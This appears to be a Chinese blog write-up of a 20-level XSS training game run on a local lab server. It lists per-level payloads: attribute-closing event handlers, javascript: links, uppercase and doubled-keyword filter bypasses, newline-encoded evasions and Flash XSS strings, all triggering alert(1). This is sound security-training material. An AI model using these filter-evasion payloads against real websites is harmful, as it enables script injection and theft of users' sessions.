zoukankan      html  css  js  c++  java
  • xssgame20关

    流程

    输入信息

    查看在哪里输出,  构造闭合方式

    <script>alert(1)</script>

    ''onmouseover='alert(1)'>

     

    ' onclick=javascript:alert(1) '

    ' onclick=javascript:alert(1)//

    ' oninput=alert(1) //

     

    <script>alert(123456)</script>

    " oninput=alert(1) //

    "><a href="javascript:alert('a')">1</a >//">

    "><iframe src="javascript:alert('iframe')" width = "0" height ="0"/>

    大写    " ONinput=alert(1) //

    双重    "><scriscriptpt>alert(123456)</scscriptript>//

     

     

    第一关

    没有对输入结果的过滤

     

    第二关

     

     

     

     

      <input name=keyword  value="  ">

     <input name=keyword  value="  <script>alert(1)</script>  ">

    <input name=keyword  value="   "><script>alert(1)</script> ">

    输入   "><script>alert(1)</script>

     

     

     

     

     

     

    第二种闭合方式

    <input name=keyword  value="  " onmouseover="alert(1)"  ">

    " onmouseover="alert(1)"

    鼠标滑动的时候   弹窗显示

     

     

     

    第三关

     

     

     

     

    由于输出在input标签,因此尝试闭合标签,通过事件触发弹窗

    构造 <input name=keyword value=''onmouseover='alert(1)'>

     

    ' onclick=javascript:alert(1) '

    ' onclick=javascript:alert(1)//

    ' oninput=alert(1) //

     

     

     

     第四关

     

     

     发现两处输出处理方法不一样,尝试用事件构造闭合标签的payload

    “ onclick=javascript:alert(1)//成功弹窗。

    第五关

    输入<script>alert(123456)</script>和" oninput=alert(1) //

    从返回结果看,在闭合标签位置,被替代加了下划线

    例如oninput==o_ninput,<script>==<scr_ipt>应该是程序对xss敏感的<script>和事件关键词做了过滤处理。

     

     

    这里只能尝试不使用<script>和标签时间on**之类,

     

    这里尝试利用<a>标签,

     

     

     

     

    <input name=keyword  value=""><a href="javascript:alert('a')">1</a >//">

     

     

    构造payload如下"><a href="javascript:alert('a')">1</a >//点击链接1,触发弹窗

     

     

     

     第六关

    发现与第五关非常类似,但是不光替换了<script>,on...事件,herf,src也被替换了。

    将关键词变换为大写,弹窗了," ONinput=alert(1) //

    第七关

    尝试用大写绕过,不成功,那就构造双重"><scriscriptpt>alert(123456)</scscriptript>//成功弹窗

      第八关

     

     

     

     

    这里尝试构造特殊的字符处理,就是在关键词中添加特殊的制表符,例如%0A,%09,可绕过检查。

    %0A,换行制表符

    %09 , tab制表符

    例如构造payload

    Javascri%0Apt:alert(1)

    javascri%0Apt:Alert(1)

    特别注意:payload在搜索框中输入时,会被浏览器进行编码,从而导致不能执行,payload需要在url直接输入

     

    第九关

     

    构造参数必须包含http://,同时敏感字符被做了替代,需要做变换,

    采用与第8关类似的思路,构造如下payload:与第8关一样,payload需要在url中构造,防止浏览器的编码。

    http://aaaJavas%0acript:alert(1)能从结果中看到已经被写入到了a标签内,但是没法执行,

    因此需要变换格式为javascript:alert(1)//http://aaa.com成功执行弹窗

     

     

     

    第十关:

    发现隐藏表单

     

     

     

     

     

     

     

     

    第11关

     

     

     

     

     

    第11关

    第十一关在笔者第一次操作的时候,按照10关做法,brup抓包,修改t_link的隐藏表单,也可以实现弹窗,

    但看了下源码本关的设计目标并非于此

    本关设计目的是在从第十关跳过来后,直接观察11关的源文件,从源文件可以看出,在t_ref的hidden表单内,value赋值了,

    这个值就是来源于第十关到第十一关的请求。如图所示:本图为10-11关的请求,看到了referer字段。

     

     refer处payload         "  type="text"  oninput= "alert(1)"   

     

     

    第12关

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     13关

     

     

     

     

    16关

     本关过略了script,空格,以及/输出位置为center中间,

    因此payload构造需要避免这些出现空格可以用%0d,%0a代替

    <img%0Dsrc="1"%0Donerror=alert(1)>

    <img%0asrc=1%0aonerror=alert(1)>

    <iframe%0asrc=x%0donmouseover=alert`1`></iframe>

     

     

     

     

     

    第十七关:

    尝试更改参数,,观察输出位置

     

     

     

     

     

     

    构造payload,直接构造onmouseover=alert(1),附加在b参数后面

    http://192.168.58.129/xssgame/level17.php?arg01=a&arg02=bsss%20onmouseover=alert(1)

     

     

     

     

    第十八关

    尝试更改参数,观察输出位置跟17关没有区别,

    也是同样位置构造同样的payload,可以弹窗onmouseover=alert(1),附加在b参数后面

     

    第19关

    http://192.168.58.129/xssgame/level19.php?arg01=a&arg02=b

    观察输出位置,与18关非常类似,只是在src="xsf03.swf?a=b"中加入了双引号。

    因此尝试构造payload中,需要闭合双引号。

    尝试payload"onmouseover=alert(1)在arg02=b后面尝试加入"onmouseover=alert(1)从返回结果的源文件中可以看出,

    双引号被html编码了因此,构造payload需要考虑如何闭合双引号的问题,突破不了,本关因为页面为flash,

    因此本关考虑flash的xss,对于flash的XSS,需要对flash进行反编译(需要下载flash反编译软件),并研究flash代码。找到传参的函数以及参数如何传递,并基于上下文语法构造payload。

    这里对于flash的代码不做详细的解释,给出如下payload可弹窗

    level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>点击蓝色123,可直接弹窗。

     

    第二十关:同样为flashxss,这里不在做详细分析,

    paylaod如下http://192.168.58.129/xssgame/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

     

     

     

  • 相关阅读:
    PAT (Advanced Level) Practice 1100 Mars Numbers (20分)
    PAT (Advanced Level) Practice 1107 Social Clusters (30分) (并查集)
    PAT (Advanced Level) Practice 1105 Spiral Matrix (25分)
    PAT (Advanced Level) Practice 1104 Sum of Number Segments (20分)
    PAT (Advanced Level) Practice 1111 Online Map (30分) (两次迪杰斯特拉混合)
    PAT (Advanced Level) Practice 1110 Complete Binary Tree (25分) (完全二叉树的判断+分享致命婴幼儿错误)
    PAT (Advanced Level) Practice 1109 Group Photo (25分)
    PAT (Advanced Level) Practice 1108 Finding Average (20分)
    P6225 [eJOI2019]异或橙子 树状数组 异或 位运算
    P4124 [CQOI2016]手机号码 数位DP
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12938499.html
Copyright © 2011-2022 走看看